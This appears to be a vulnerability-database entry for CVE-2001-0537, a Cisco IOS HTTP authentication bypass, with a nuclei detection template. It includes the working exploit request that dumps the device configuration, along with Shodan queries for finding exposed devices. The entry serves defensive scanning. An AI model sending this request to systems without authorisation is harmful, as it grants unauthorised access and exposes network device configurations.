Cisco IOS HTTP Configuration - Authentication Bypass

criticalseverity

9.3CVSS score

68.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to the affected device.

Fix

Apply the appropriate patch or upgrade to a fixed version of the Cisco IOS software.

How to confirm it

Send: GET {{BaseURL}}/level/16/exec/show/config/CR
Positive when: contains "service config" and "Switch" and "default-gateway" AND status 200

Run it with nuclei: nuclei -id CVE-2001-0537 -u <target>

The full check

id: CVE-2001-0537

info:
  name: Cisco IOS HTTP Configuration - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the affected device.
  remediation: |
    Apply the appropriate patch or upgrade to a fixed version of the Cisco IOS software.
  reference:
    - https://www.rapid7.com/db/modules/auxiliary/scanner/http/cisco_ios_auth_bypass/
    - https://nvd.nist.gov/vuln/detail/CVE-2001-0537
    - http://www.ciac.org/ciac/bulletins/l-106.shtml
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/6749
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
    cvss-score: 9.3
    cve-id: CVE-2001-0537
    cwe-id: CWE-287
    epss-score: 0.6845
    epss-percentile: 0.99341
    cpe: cpe:2.3:o:cisco:ios:11.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cisco
    product: ios
    shodan-query:
      - product:"Cisco IOS http config" && 200
      - product:"cisco ios http config"
      - cpe:"cpe:2.3:o:cisco:ios"
  tags: cve,cve2001,cisco,ios,auth-bypass,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/level/16/exec/show/config/CR'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'service config'
          - 'Switch'
          - 'default-gateway'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from